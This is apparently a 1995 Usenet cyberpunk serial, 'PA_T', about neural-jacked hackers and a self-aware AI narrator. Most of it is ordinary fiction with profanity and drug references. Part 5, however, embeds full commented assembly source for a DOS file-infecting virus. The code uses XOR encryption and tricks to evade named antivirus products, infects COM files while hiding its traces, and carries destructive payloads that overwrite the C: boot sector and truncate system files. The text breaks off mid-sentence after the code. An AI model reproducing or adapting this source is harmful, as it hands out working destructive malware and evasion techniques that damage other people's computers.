From: bachel@neosoft.com (bachel) Subject: PA_T (Part 1) Date: Thu Apr 20 05:23:50 MET DST 1995 Sorry, haven't quite named the characters yet. They are T, H, W, E, G, and the loveable PA_T. Perhaps you could help me name them. PA_T. by Robert L. Myers bachel@sam.neosoft.com _13.651.7674 copyrighted 1995. PMAWU Part 1 'Shit I hate this job'. He knew that wouldn't work. Not this time, at least. It only occurred to him that the thing that WAS working was the satellite link. Christ - only IT would be. "OK, it gets real tricky after this, so stay with me," he mumbles to himself. "W and I will have only have 43 secs to jack-out," any later and...T chose not to think about it. Splicing faster then a man should be allowed to, G knew he had to be right. He better be right. He IS always right. It's you T... yah you...pay attention, dude. Taking it over the limit - 'shock on the wir' as ol' E would say right about now. But, he wasn't was he - its you, now. T moved his hand ever so slightly, adjusting the eyeRythmn as he pro- ceeded past the last of the ICE. Vibrations - the humming - always the humming. Made his mind tickle. Good sign to move - NOW! W moved to the quadrant to the 32ns north. It caused the slightest of work for T to maintain the concentration to get right beside, exactly as needed. "Yo baby...look at that," W groked. It was quite impressive for the part of the net they were in. The ALARM mech stood approx. 200 phyrds to the left, materializing so alarmingly fast that the code had not set and the neurals were floating cautiously around it's head. "I figure you'll have 8.4 secs before she has your ass." W was right - god, T needed to move, and about 6 secs ago. T had never intended to take the ALARM down that fast. Guessing, he over- compensated for the lack of pre-play time. So, when T absorbed the data coming at him in nanosecs time, it came as a Special K would come to a raver. It never ceases to amaze me, he thought, what type of trash they code these things with. '90% byte free' as we used to say back in the corpDays. What a time to be neuraled to a past memFlash. T spit it out as fast as it came in. "Turn the page, W. Social entropy is raining today." W look under the quad to the right and behind T. Sparkles beating down to the ethos. A rainbow of 0's and 1's. Bits flaking ever to float around, or at least until the next one of those new bitCol sweeps by. Pure Vkill. "Shall we move on...PAY ATTENTION, man". T could feel W's anger kranking up. Why where so many people nowadays saying this to T? He would have to figure that when he got back to M.E.. "Ok..Ok..let's do it." PHREAK appeared on the vertical horizon. They moved in unison towards the towering sphere of what can only be called the 'largest server' in terms of cpu's. However don't get me wrong, it was a sight that made T think about H. God, he hadn't thought about her since..since, oh oh...CHRIST, THINK MAN, THINK. 33 secs. He felt like he was losing it. No, he WAS losing it - he knew for some time now. Just couldn't get it right - that ol' rhythm of the rage, not this time...it would be the LAST time. "Talk to HAMMER, drop it now, T" W whispered. Something in the neurals went faster. T moved, got ready, moved and was in. What a sensation to say the least. H would have wept. She would have rejoiced in the knowing of the KNOW. PHREAK appeared to react, slightly at first, but T could feel his time to vap. "2.6 secs," W reminded. Christ if T didn't know him any better, he would have thought that he wasn't getting anything out of this. "Way cool." It was T's immediate reward. T purged down further. 2.01..1.9..1.67...1.4... T figured he'd have done it at about 1.7, so this was cutting it about as close as a penChip. 1.37...He again moved. The tacTrace slipped into a neat corner. Bracing himself for the absorption, T went further in. IT came down at that time. Damn it! Damn it! Why? Why do those god-damn phreakers always come along? The satellite feed that WAS working started to fritz. "G...G.... where are you, man," T thought. "ok.ok.ok." was flashed through the neural. G, poor G. He would have gotten...CHRIST MAN! ...06. T and W knew they would never make it. Coming to the same conclusion, both at the same nans time, reached, with their minds, and pulled the jacks out from behind their ear with their left hand. "Fuck! Fuck! Fuck! Do you know how close we came...well, do you? You little twerp," T found himself diffidently in the 'rhythm of the rage' on this one. H would have not been happy. She would have cringed in the corner, and pouted. 'T WAS paying attention this time' she'd have said. G was cowering too...well not quite. "T T my man, I just didn't have enough time to negotiate with those phastards," G replied. "It came down to either cut loose - which you hate, I know...I know. Or, pay. And you know that we don't have what they want. So let it ride, OK? We'll get it, don't you go fritz'n on me. Not this time, OK? OK?" "Ya, ya, ya," he was right. W screamed "CHRIST! I got to go to the bathroom," gets up and wonders into the other terRoom. "Can't wait to get back to M.E., anyhow...," is the last thing T hears before he passes out. From bachel@neosoft.com (bachel) Subject: PA_T (Part 2) Date: Thu Apr 20 05:29:59 MET DST 1995 Sorry, haven't quite named the characters yet. They are T, H, W, E, G, and the loveable PA_T. Perhaps you could help me name them. PA_T. by Robert L. Myers Part 2 T saw two things when he opened his eyes. H's face, and that damn sign over the door, working its way around and around: ...I believe...I see...I am...I need... 'Shit, this means therapy,' T thought to himself. "BUT WHY? Why do the drugs have to be so damn TRIPPY?" H was giving it to the physc who was moving around with his so-small-so-dense hand-held deaLife. Whenever H saw newTech she always tried to crash the other's party. "Ya think that you'd have know better. Here give me that. See if I can..." But the japMan would have nothing to do with her high priest mode. As he moved for the door, he welts "He WILL not be giving the jack back." Right about this time T sees W crashing through the door, pinning Mr. tecMan to the wall behind the door and lifts him two feet off the floor. "Pardon, Pardon, Mr. tecMan, but I come for my wife!" H blushed, scoured, and remained steadfastly at T's bedside. tecMan just kind of crawled into himself about that time and whimpered out. H screaming that he has 'no say WHAT so ever it THAT!'. By the way, T had noticed that she HAD worn T's favorite dress. Dress? Yes, dress. Kind of retO-60, but a touch more zeppie. Her hair was, as always, long blonde, straight down the middle of H's near-perfect back. T thought near perfect, because there was that little incident. CHRIST. PAY ATTENTION. There it was again. And maybe ol' T wasn't as well as he thought. W came striding up the opposite side of H, so that they, T's two best...best..."Do you think he'll ever...ever..." H's lip quivered. W look solemnly first at H, then slowly down to T... and asks "what makes you think he had it in the FIRST place?" They both phracked up. "Shit! Shit! Shit!" T bloughts. "I didn't even get to say boo, act out my last dying wish, or SOMETHING." "Com'on, get up. Let's go." Apparently both weren't buying it. T throws the covers back, swings his feet down. 'Everything normal so far,' he thinks. "Can you at least try and walk in a straight line when we get out of here?" H demands. That silly little dee-lite smile on her face. That girl knows more about more then anyone T had met, both here and M.E., and for that matter MATRIX, as well. Leave it to her to hack into the medVAC and arrange for the doses of, as she would put it, some 'Acid Hammer' shit. To be more exact, the intRo into T's arm had maxed T to the megs. Walk? Hell, he could fly! "Do I have clothes on?" T asked timidly. Feeling with what he mistook for silArm straight off the ol' simLine, he was able to determine he was going to need help in this one. BIG help. Well, he had it, and within 20 minutes W and H had him gliding down the last of the medSite's spatial center. Christ, it was newTech, phastick newTech. T was reminded of the giant shopping malls on ol' M.E. 'Oh, mother earth, sweet mother earth. What are you worth?' Oh, T believed about 23 million digiFlex dollars. This place reeked of bigCorp, and Christ, T hated corpGrowth. "Let's move on, shall we?" T conjouled. "Yes, SHALL we?" W whispered. "Both of you two stop it, stop it right now." fine, level headed H says, as she sees the opening that she had been vying for since they had reached the far end of the pathWalk they had just transversed. "There, grab it. Grab it, W." W did, and in a little over two and a half jumps, T being the bit-floating type now that the drugs had moved on to the next warp, all three where on their metTax and flying out into the open. Newsgroups: alt.cyberpunk.chatsubo Subject: PA_T (Part 3) Date: Thu Apr 20 05:36:26 MET DST 1995 Sorry, haven't quite named the characters yet. They are T, H, W, E, G, and the loveable PA_T. Perhaps... PA_T. by Robert L. Myers Part 3 The first thing that E says when he sees T is "...what shit do they have this boy on. H is this your doing? ....ya I figured." They had moved to quadDq in the south, if you could use the course specs back in M.E. Things where somehow quite different, yet somehow the same here. E's building was neither oldTeck or newTeck, but fell into that somewhat desperate time after the millennium craze. Christ, what a time that was. Glad it's over. E had moved from M.E. when the shit started to flow between him and the vast netPop he controlled. Sometime things don't go quite the way they're planned. Mad men shake up the world all the time. This was no different - just bigger. BIG doesn't do justice. But then, justice flew out the net when the ol' curColapse shook up the world. Seemed to make every one a bit craXy. That's just about the time that the two corGrowth took a major tecJump. SimXoft and PENTEL had just about finished writing the book on the hyper-jump needed to get us 'Tekked', as they so fondly put it. The world never looked back. Not even hiccuped. Just drove straight into it. Blind? Not exactly, after all, PENTEL had but 2 short years before the Great Turn. But they came through. Didn't they? And what about SimXoft? Didn't they contribute BIG time. Wow! Win went, in came OB, next came next, and then the shit got steep. The learning curve went ballistic. It took major, and T had seen Major before, to get it right. But that's where T comes in. Ya see - he got it and he got it very, very fast. So fast if fact that he was around thirtieth when he took the operation. The neural jack, man. PAY ATTENTION. T and H so named it for their long history of T's nemesis. It went in, and T went on. On line that is. Dark Fiber land, back then. Creativity wasn't enough. Pure knowledge wasn't enough. Nothing, and T meant nothing, was to have pre-played this for him. Christ, and him going through all that just to find his own Silicon Jesus. Wired...all the way. Poor T. Poor, poor T. He was rocking 'bout this time. He was not all together NEW to this sort of 'designer reality'. 'Welcome to my mind', T tells E. E was not happy. T's ego had been blown. If only the 'little Aeons in fields with many colored balls' would leave T alone, just long enough to get back. E always was a phractal disbeliever. T was his responsibility, and to look at the poor boy, he had failed miserably. "C'mon...he'll come down 2-3 hours at the max." H had to now somehow justify to the motley group. "E, back down, man. Keep cool...please?" She faked a smile. W had moved into the tecKit, hungry as usual. This guy was something else. Only guy T knew that could stay with it -all the way. He always PAID ATTENTION. Only, he was not the type to even squander any excess mimes. None. 'Somebody got to make some sacrifice' was his link to the do-able. T met W in E's outer office. It was the most techKrank that T had ever seen. W had even said later that he was 'stoked' by the place. That day seemed to be mostly formalities to T. W got bored. And then, around 16, H strolls in. Just like her to have hacked her way past the tecSec and into the room real virtual like. There they all were. T, W, H, and E. That was last time they had all been together. Now, however has a different after-glow to it. T sat up from the simCouch, turns to E and sings: "Drop...drop the hammer. Slammer... Jammer...Drop it now...drop it now...Acid Hammer...Acid Hammer..." "That does it. H, get him to bed," E barked. "NOW, move it girl. Before I kick your tight little ass." H moved, spilling the vegSmart on the wooden floor. "C'mon T, lets move to the tecRec room." H had persuaded T to follow her into the one space outside the MATRIX that she had found to fit her moods. Outside of a few locations on M.E., she could not just survive in what most would consider luxury. No, her test was in the newTeck she had lying around. Digital devices of every sizRam, outTek, and tecOp that E could muster up. The Vlibs in themselves were to Vkill for. She moved with such swiftness to the new crate that sat bangled up against the panels, that it left T swirling. "Think I'll lay down," T said. "Only...H...come and talk me down. Please?" "In a minute T, yes...yes, go lay down. I'll be there in 1.2 secs." Christ, where does this girl get this vast array of smiles? She look absolutely ravishing in it. T felt the pain hit between his eyes, turned, walked some twenty simFt and fell on the synGos down. Hours must have gone by. T looked at his watch, and the ceiling fan at the same time. A bit vertigo, but in this space no one could avoid it. It had happened. It moved so far in, he came through. The blood/brain barrier coming apart like a celoTek page. And T was through it. "H?...H?..." T whispered, then spoke it, then came back: "yes? Will you come look at this T?" "Don't know if I can make it? - I'll try." The only light in the room came from two sources. First, the artificial light coming through the VwinTec, and the unique glow that was coming over H's shoulder on the other side of the room. "I didn't think I had it in me to get it together." H proudly stepped back. There about the size of the ol' desTop was the Vraak. T had only read three e-mails about this high HighTec. Top clearance maybe, just maybe, would get you a pDsk of its contents. But, T seriously wondered how, even E could muster the NetLinks for this one. "Are you sure you got the RimTacs in position and wired right? Maybe we ought to wait for G to get here." If looks could kill, H's would have blithed half a starving planet. She had an equal number of scours to go with the smiles. "Sorry," T tried to counterbalance the arctic cold air that suddenly blew in under those lovely eyes. "WHAT! What did you say? You..you know what you are? Huh? Well, do you?" T couldn't brace himself fast enough for the deluge. His head hurt, as he tried to apologize. "The only way your going to recover from this one, you ass hole, is to jac this thing." Christ, and she was serious about it, too. "Not until E has had a chance to look the boy over," W said. He had vertched his way in, only giving his patented belch as a greeting. "Says he would like to talk to us. Said to come get you two, and hoped that I might break up the...the...let me see, how did he put it? Oh yes, the fuck-fest. E can be so...well ya know." H threw a scrwTec at W, missed and careened off the panel over his left shoulder. Newsgroups: alt.cyberpunk.chatsubo Subject: PA_T (Part 4) Date: Thu Apr 20 05:42:32 MET DST 1995 Characters are named T, H, W, E, G, and PA_T for now. Maybe you could help me name them. PA_T. by Robert L. Myers Part 4 They had to wait for T to take a leak. In all the hours that have just passed, and to T they felt like eons, he had failed to remember to do the basic things these ol' human portals must contend with. As he stepped back through from the simRef, he asks W if there was anything left to eat in the tecKit? "Sorry my man, no time. I told him we'd be right back. And besides I didn't leave anything." "Figures," T replies. H touches up her face, and they leave for the tecSpace. If the tecRec was considered wired, wait till you saw the tecSpace. T was in awe the several times he had clearance to visit the 'mad doctor in his lab'. E had it all, and the security of the netPop to trust him with it. This place made PENTEL's white rooms look like a medieval castle, complete with dank dungeons. Every thing in this room was made of one substance, and that was the one thing PENTEL HAD delivered on. The nanTec to give us this wonder-of-wonders. This alloy was of no ordinary space and time. It could transverse the cosmos in an instance. Tek made with this phroxidesriptormothane compound could be not only indestructible, but conform to the thoughts of man. And when SimXoft delivered on the code to run this mold, and this baby sang at the nanoTec level, then things started to happen. The object would take on the physical structure that the mind focused on it, and could conjure for its idenity. Reality truly manipulated. Christ, after that nobody could do anything, for fear of never getting the ol' reality back. That's why this stuff was out of touch to all but a few. A few that knew to PAY ATTENTION...T sat heavily down on the floor. The simLin felt hard and smooth. Next thing, H is squatting in front of T with some watTec, dabbing T's lips. "WHAT HAPPENED? Jezs, you gave us a scare. Maybe, I did over do it just a little at the medVac. I'm so sorry, T. Here, see if you can get up. W, I think you can help him up now." "You see? it wasn't your screwing around with the dosages that got T," this was the first thing T hears E tell H when he jacs back from the nice cream tones that E had found for him over in the far corners of the MATRIX. T like it there. It was the first time all day T had felt himself - too bad that it wasn't 'state-side' as they say. But, T had spent lots of time on that side of the divide. He like it over there. Maybe too much. "What's screwed up?" T asks. "It appears that you've got your self a little virus, T." E started to explain, and was interrupted by his clicking out his neural. "Damn things. Will we ever get to the point where we don't have to have these damn things sticking out our heads. Christ almighty, we can do it with metal...but not mental. WHY? Why, you ask? I'll tell you why. Because MAN can't focus long enough to do the meme work, and get past all this. Digital Stoneage is what I call it." It was a patent tirade for E. H love these emotional times. She would grab either W or T by the arm, and hold on for dear life. "As I was saying," E continued. "You seem to have gotten some bad code up there." Pointing to T's head. "How it happened, I have no idea. But how to get rid of it? Don't bother, son. When you were out in those nice cream tones, I had H here scrape it out. You can thank her." H batted her eyes, smiled one of HER patent smiles, and left, followed closely by W. "But I did ask them to leave, so that I could talk to you. I'm worried about you. I saw some things today that...well...question my ability to handle you. No, not you, you...your phrifts. You know, your..." He paused. T had known E for many years, and in all that time, through good, through hell, T had never seen E stumble for words. "Christ E, lay off, will ya? You sound like...hell, it was you that got us this far. Shape up, man!" E stumbled along continuing to elude to some long stretch in the future where MAN will devour TECH. An archaic revival or something. T wished he had left with H and W. What WAS this ol' man trying to get to. T concentrated his energies to rise to the intellTec that E was grasping to explain, but both missed. E high, and T, poor ol' T low. As low as one could just about go in one of Mother Earth's revolutions. It took another 16 M.E. days to arrange space on a shuttle for 3. All that time T, H, and off-and- on W, tried halfheartedly to get back inside the PHREAK. "Wasting all that Satellite time I purchased. Thank you ever so kindly. Kids! Umph.' E would tell them every time he saw the simBill. The Vraak was a godsend, however. H primed like she was in an ol' fanMag. Even she, which she never, well almost never, 'went over', as they say, did. T and her spent one glorious Vtwirl jacked about. Took all of one afternoon, and well into the evening... In fact they where having such the time, that if it wasn't for W shutting it down, they'd probably, no - most diffidently, be there still. "All right, kittens," whispered W. "Come on back now. Time to reVid the day." It wasn't until both where touched on the shoulder did both T and H realize that the 'ride' was indeed over. "DAMN! Partner. Why? Why did you do that for?" T smirked. When H realized that it was W who stopped things, she went livid: "...What in the fuckin' hell do you think you're doin'? YOU! You phastard. C'mon T? T?..." "Oh, ya right. Like I'm out there for...what W?...5 6 hours, and I'm suppose to hop right up, and move your way? Uh, I don't think so." "WHAT? You...you...IF I EVER have to go THERE again...not with you two, phastards. Ever...you here me? EVER!!!" as she stormed out to the tecSpace. "Think she'll forgive me?" W asks. "Your guess is as good as mine...hey, by the way did you see that conStruc out the quad 87 way. Did you pick it up? Now, that we wasted...er, used...up the satellite lines, We need to phrack this PHREAK thing and go there." "WHAT? You still have that virus, man? PAY ATTENTION. There is no way, in the cosmos that I chose to deal in at least, that you or I or E or anybody HE knows has the rights-to-passage to that V. Get real. What where you and H DOING out there, anyway?" Newsgroups: alt.cyberpunk.chatsubo Subject: PA_T (Part 5) Date: Fri Apr 28 17:47:06 MET DST 1995 Here, the loveable PA_T is introduced for the first time. Other characters are T, H, W, E, and G. Haven't quite named them yet. :( Part 5 Chapter 2 simIn When it came down, it came down hard. Some knew, some didn't. The 'purge', as some would call it in it's infancy lasted about .131 of a nanoSec. Just long enough to get in,get what it needed and remove itself. Depositing enough lethal viruses in it's trail to stop all but IT, and few chosen phrackers, and GiaTec (Mother's Earth's highest electronic surveillance techno-isym). Yup, datCops. Ol' M.E. had her defenses up in this day and age. But, apparently not well enough. It was plain to see was that this 'purge' was clearly not an end in itself, nor was it like the others. The 'purge' in this instance simply wiped out the entire simUN Vlibs of all the records on ANY person who eVoted in their respective Countries. Not when they voted, not how they voted, not why they voted, just...just their names. Now, think about this for a minute or two. This narrows down the list to just a few wired 1st world countries. Democracy and all that. Few million? Maybe. Certainly not billions? OK? Something odd, though. Something that has these names linked. Something that no one saw, but T. But i digress... "Let me introduce myself," someone once said. Actually you've already met me, but let me spell it out to you: i'm PA_T. PolyNural Artificial Triptorophane, as my creator so aptly put it. Code. Simply code with a difference. i think. Just like MAN. However, i am anything but. And please none of this suedo- comparisons to robots, neurals, winVecs, OBuse, and certainly not to those gastorial abonomations: Vspews. i have no form. Right now i smell blue, taste music, see rivers of data flowing, but the debugging code will be here by tonight. A Vjoke :) . i Vlearn, i Vthink, i Vfeel, i Vdiscuss, i Vargue, i Vcry, i V... anything you Humans do, but only...on the OTHER side. PAY ATTENTION to coin a phrase. Now...where HAVE i heard that one before? If only i can have your simTen for just a few teraSecs, then we can have a little talk, ok? Ya see, i know...boy, do i know... simOut. simIn Here, let me set you Vstraight: .MODEL TINY ; .CODE ; ASM! ORG 256d ; 100h ; Virus_start: ; xchg ax, ax ; NOP! nop ; NOP! ; To fool TBAV, from detecting Burma, ; ie (hex) B8 01 FA, but also so we ; don't infect the orginal-virus. ; mov ax,0fa01h ; Let's un-install MSAV junk program mov dx,5945h ; from memory for a cost of 8 bytes :) int 16h ; ; call get_delta_offset ; I just call.. ...to find the offset! real_start: ; ; Get_delta_offset: ; Get the delta-offset pop bp ; with the same old trick sub bp, offset get_delta_offset ; as always ; Call_en_de_crypt: ; This code, does the exact same thing as mov ax,bp ; a "call en_de_crypt", though it take add ax,11Ah ; a few more bytes. If we use the "usual" push ax ; code, F-Prot will detect it as Radym, jmp short en_de_crypt ; that The Attitude Adjuster/Virulent Grafitti ; wrote some years back. For more info about ; all offset's, tasm with /la (listening) ; jmp short real_code_start ; Then, we'll continue.. ; encryption_value dw 0 ; Random value to use as the XOR-value, ; place this in a un-encrypted area ; Write_virus: ; Infect the victim's! call en_de_crypt ; Write encrypted copy ; lea cx, virus_end-256d ; Write from 100h to virus_end, lea dx,[bp] ; ie, write all of this code! mov ax,word ptr [bp+virus_end+1ah+2] inc ah ; add ah,1 won't work here. add dx,ax ; mov ah,64d ; The 40hex joke (again) int 21h ; ; call en_de_crypt ; Return to the un-encrypted beginning ret ; and then we jump to real-code-start: ;------------------------------------------------------------------------------ - ; In the encryption, the most important to think about is to encrypt ONLY ; the thing that you can encrypt for getting a virus working. That is ; (in this virus) the code between real_code_start to the rest of the virus. ; ; It would be smarter to place the encryption and the write_virus routine as ; the last end of the code, b'cos of that would make the virus harder to ; debug/dissassemble than it's now. Also it would have saved some bytes ; as well. (Shoddy coding and damn stupid, heh?) ;------------------------------------------------------------------------------ - En_de_crypt: ; ; mov ax,word ptr [bp+encryption_value] ; Value to encrypt with lea si,[bp+real_code_start] ; mov cx,(virus_end-real_code_start+1)/2 ; Part of code to encrypt loop_again: xor word ptr [si],ax ; Nice little function inc si ; Add si,2 inc si ; ^^ Cost one more byte ; loop loop_again ; Encrypt two bytes/loop (word), until ret ; real_code_start to virus_end is encrypted ; Real_code_start: ; All instructions below will ; in the infected file be ; encrypted, thus making it hard ; to analyse for heuristic A-V. ; cld ; Clear direction flag ; Set_Dta: ; mov ah,1ah ; Set the DTA-area to the lea dx,[bp+virus_end] ; end of the file, and we'll int 21h ; save some bytes. We don't use ; de default 80h b'cos that will ; overwrite the parameters in the ; original program. Buffer_Xfer: ; lea si,[bp+first_bytes] ; Transer the first four lea di,[bp+@buf] ; instructions to a buffer ; in memory, so the original ; program can execute later on ; xor cx,cx ; Mov cx,2 is smaller/faster, add cx,2 ; but this is clearer/dumber. ; rep movsw ; (Move string by word), allows you to ; copy entire regions of memory ; (buffers) from one place to anther with ; only that command "rep movsw". ; mov di,4 ; Infection-Counter, max 4 / run ; Will be decreaced each time we set back ; our old attribs (ie, after file-infection) ; Get_drive: ; mov ah,19h ; Get the drive from where we're int 21h ; executed from ; cmp ax,0fh ; Is disk-drive invalid? je Floppy_exec ; Yep, then, jump and play that we're ; executed from A:. Totally meaningless ; really, b'cos a file can't be executed ; from a in-valid drive. ; cmp al,2 ; A: or B:? jnb check_ram ; Nop, not from a floppy drive ; Floppy_exec: ; jmp on_floppy ; If they execute us from a floppy ; they might have noticed our ; existence and are keeping us under ; investigations. Then we can as well ; trash that sucker before it's too late. ; Check_RAM: ; Some people use G: as a RAM-drive, cmp al,6 ; that is under 4 Mb, ie, not much je floppy_Exec ; to infect, so, we crash them here, ; as well. ; Get_dir: ; If we aren't executed from A B or G: mov ah,47h ; we'll just continue, and now, get xor dl,dl ; the directory from where we're being lea si,[bp+virus_end+2ch] ; executed from. int 21h ; ; Find_First: ; Find first file with, mov cx,111b ; any attributes and with lea dx,[bp+filemask] ; the extension of 'COM' mov ah,4eh ; _4fh: ; AH=4FH, (Find Next File), this int 21h ; smart little trick will save us ; plenty of bytes, compared to writing ; the whole file-search routine twice! ; jnc clear_file_attribs ; We did find a file! ; Happy Happy, Joy Joy! ; jmp ch_dir ; We didn't find a file, so let's ; try in another directory ; Clear_file_attribs: ; mov ax,4301h ; Set file attribs to sub cx,cx ; nothing. lea dx,[bp+virus_end+1eh] ; int 21h ; ; Open_file: ; Open file (AH=3DH) mov ax,3d02h ; in read/write mode (AL=02H) int 21h ; xchg ax,bx ; File handle in BX ; Read_file: ; mov ah,3fh ; Read file (or device) mov cx,4 ; Number of bytes to read lea dx,[bp+first_bytes] ; What to read int 21h ; ; Check_already_infected: ; Check if file already is infected, ; or some other file that we don't ; want to infect ; mov si,dx ; Put the first_bytes that now is in DX in lea si,[bp+first_bytes] ; SI. Compare with our own jmp-construction cmp word ptr [si],0e990h ; and if it match (is equal), then je already_infected ; don't re-infect it. ; cmp word ptr [si],5a4dh ; We'll also check if a file is a ; renamed EXE file, b'cos they will ; also un-infected work perfectly. ; First check the beginning for a ZM? je already_infected ; If so, then, don't infect it! cmp word ptr [si],4d5ah ; But EXE files can also begin with MZ, je already_infected ; and then, don't infect it. ; cmp byte ptr [si+1],26h ; We'll not infect files that starts je already_infected ; with a ' &' (Psychosis infection). ; cmp word ptr [si],9090h ; Don't infect files that starts je already_infected ; with a double-NOP (90h), the classic ; infection-marker for viruses ; mov ax,word ptr [bp+virus_end+1ah] cmp ax,400 ; We'll not infect files that is smaller jb already_infected ; than 400 bytes or bigger than 63000 cmp ax,63000 ; The small b'cos of we don't want ja already_infected ; debuggers to do a 5 byte "dummy" file, cmp ax,1701 ; and in the case of big COM files, the je already_infected ; message "Program to big to fit in memory" ; displayed. Also, we will not infect files ; that is 1701 bytes long. Pretty dumb, huh? ; cmp word ptr [bp+virus_end+35],'DN' jz already_infected ; We'll not infect command.com, b'cos ; of many people check that file for virus, ; and also b'cos of normal people don't ; got to much file under the root-dir anyhow. ;------------------------------------------------------------------------------ - ; Here is the "tricky" part. First we'll move the file pointer to end of file, ; take 4 bytes from a buffer, containing (now), nothing, then, load it with ; our own instructions and write it to the beginning of the file. After that, ; we'll move to end_of_file and call the procedure in the beginning ; (un-encrypted area!) that writes the virus to the end of the infected file ;------------------------------------------------------------------------------ - Move_file_pointer_2_EOF: ; mov ax,4202h ; AH, 42h = Set current file pointer ; (Current location in file), and ; AL, 02H = Signed offset from end of file xor cx, cx ; Most significal half of offset (zero) xor dx, dx ; Least significal half of offset (zero) int 21h ; ; sub ax,4 ; Subtract the first four bytes, which ; will be overwritten with the instructions ; that we took from End of File, that was ; stored in an empty buffer "Istbuf" ; Fill_1st_buf: ; Now, load the 1stbuf with mov word ptr [bp+Istbuf],0e990h ; with a Nop and a jump to the mov word ptr [bp+Istbuf+2],ax ; virus beginning ; Move_file_pointer_2_TOF: ; Set current file pointer to mov ax,4200h ; the beginning of file (00h) int 21h ; ; Write_first4: ; mov ah,64d ; Write the new instructions mov cx,4 ; to the beginning of the file lea dx,[bp+Istbuf] ; with the buffer we just loaded int 21h ; ; Mov_2_EOF_again: ; It would be smarter to call write_virus mov ax,4202h ; before we moved the file-pointer to xor cx,cx ; Top_of_file, instead of moving the file- xor dx,dx ; pointer to End_of_File twice, but IMHO int 21h ; it doesn't really matters anyhow. ; Get_random: ; mov ah,2ch ; Get a random value from the clock int 21h ; to use for the encryption so the A-V add dl, dh ; must place the string at the encryption ; routine, thus making it easy to mutate ; later on... ; jz get_random ; If we get the value zero (no encryption) mov word ptr [bp+encryption_value],dx ; we'll loop that procedure until ; we get a higher value ; call write_virus ; Now, write the virus code from 100h ; (Where this file start) to end_of_file) ; to the end of file in the opened file. ; jmp short restore_time_date ; Then we'll cover our tracks ; Already_infected: ; If a file already is infected inc di ; increase DI (used for infection counter) ; with one. ; Restore_Time_Date: ; We'll set back the file time/date to lea si,[bp+virus_end+16h] ; what it was before we touched it mov cx,word ptr [si] ; CX=Time mov dx,word ptr [si+2] ; DX=Date mov ax,5701h ; AH=57h AL=01h = Set time/date int 21h ; ; Close_file: ; Close the file which now is infected mov ah,3eh ; int 21h ; ; Set_old_attrib: ; Restore old file-attribs, because of mov ax,4301h ; before we infected the file, we cleared xor ch,ch ; the file attributes, so even the hidden, mov cl,byte ptr [bp+virus_end+15h] ;and write protected files get infected lea dx,[bp+virus_end+1eh] ; int 21h ; (AH=43H AL = 01 = Set Attribs) ; Enough_files: ; dec di ; Decrease the infection counter with 1 cmp di,0 ; and check if we've infected enough je no_more_files ; Di=0, we're done with the infection ; mov ah,4fh ; Nope, we want more files to infect jmp _4fh ; and we'll do this until we're finished ; On_Ram: ; On_Floppy: ; We are executed from ; A B or G: ; mov ah,2ch ; Get time (dl=1/100 of a second) int 21h ; cmp dl,50 ; That is 50% chanse that we're bad, ja Trash_Boot_Sector ; or REAL bad. jmp droppie ; (Blame Caro, Blame Caro!) ; This might look stupid, not to "ja droppie" ; since I got the Trash_Boot_Sector as the ; next procedure anyhow. But that would result ; in a "Relative jump out of range by 0004h ; bytes" since we with a short/condition jmp ; only can jump 128 bytes forward in the code. ; Trash_boot_Sector: ; We might be executed from a A B or G: ; or the date is the 31:st, we will mov ax,0301h ; destroy the boot-sector on drive C: mov cx,0001h ; mov dx,0080h ; 80h = C: 00h = A: lea bx,[bp+virus_start] ; Overwrite with our own virus code int 13h ; ; Truncate_Files: ; mov dx, offset file1 ; v.ccp//Autoexec.bat call trunc_it ; mov dx, offset file2 ; v.ccp//Config.sys call trunc_it ; mov dx, offset file3 ; v.ccp//Command.com call trunc_it ; call restore_start ; ; Trunc_it: ; We'll truncate the somehow important mov ah,3ch ; files after we've trashed the boot-sector mov cx,110b ; and if something screws up, we'll jump int 21h ; and check for what else we can do that jc no_more_files ; clearly mainifests our presence to even ret ; the uninitiated. Ie, of plain cruelness :). ; No_more_files: ; We didn't find any more file, or ; the infection counter is zero. ; mov ah,2ch ; We'll get a 1/100 of a second, int 21h ; and if the value we get is "1", cmp dl,1 ; we'll jump to a nice pay-load. je overwriting ; Otherwise, we continue and check ; what else we can do.. Dates: ; mov ah,2ah ; Get Date, and compare it to, int 21h ; ; cmp dl,31 ; 31:st? je trash_boot_sector ; Yep! ; Dee_day: ; cmp dx, _0606 ; Date 0606? je droppie ; Yep! ; cmp dx, _0707 ; Date 0707? je droppie ; Yep! ; cmp dx, _0808 ; Date 0808? je droppie ; Yep! ; cmp dx, _0909 ; Date 0909? je overwriting ; Yep! ; cmp dx, _0505 ; Date 0505? je overwriting ; Yep! ; ; If no conditions-matched, or we ; just return here from another ; pay-load that called us, we'll, Restore_start: ; Copy the 4bytes to the lea si,[bp+@buf] ; beginning of this file mov di,256d ; in memory (100h) movsw ; movsw ; ; Restore_dir: ; Change back to the directory lea dx,[bp+virus_end+2ch] ; from where we were executed, mov ah,3bh ; b'cos of we used the dot-dot int 21h ; method to travel around.. ; Exit_proc: ; Now, it's time to give the control mov bx,100h ; to the "real" program. This is of'cos push bx ; encrypted, otherwise, TBAV would detect xor ax,ax ; it as "back-to-entry-point". retn ; ; Ch_dir: ; mov ah,3bh ; Change directory to '..' lea dx,[bp+dot_dot] ; "Mov dx, offset dot_dot" won't work! int 21h ; Root_Dir: ; AX is probably 03h, ie, location doesn't jc no_more_files ; exist. (Trying) to goto dot-dot from '\'. ; No_err: ; Return to routine that jumped to ch_dir, jmp find_first ; and search for the first file in that ; directory ; Droppie: ; Since I use the drop-file routine for call Cr_file ; two different pay-loads, it's smarter ; to call the create/file and close/file ; instead of writing them twice, I think. ; (Saving bytes equ loosing speed). ; Write_File: ; Then, we'll write to it. mov ax,bx ; File handle in BX mov ah,64d ; 40HEX! mov cx,trashlenght ; Number of bytes to write lea dx,[bp+fuck_disks] ; What to write int 21h ; ; Close_target_file: ; mov ah,3eh ; Close the file v.ccp//Vdext\keyb.com int 21h ; Then, we'll returning jmp short restore_start ; nice and un-noticed! ; Overwriting: ; call Cr_file ; Create/Truncate the file, ; in wich we'll write our Write_2nd_Pay_Load: ; "a-bit-nicer-than-droppie-pay-load", xchg ax,bx ; that will force them to re-install mov ah,40h ; VDEXT. Pretty harmless, but fun! mov cx,ow_lenght ; lea dx,[bp+ow_vir] ; ; int 21h ; Saving 3 bytes by calling this call Close_Target_File ; procedure instead of writing it again! ; Cr_File: ; mov ah,3ch ; Create/Truncate a file mov cx,0 ; Attribs=Noting lea dx,[bp+filename] ; What file to create int 21h ; ret ; virus_end: end_of_virus: end virus_start ------------------------------------------------ Yeah, yeah, i know. i started out 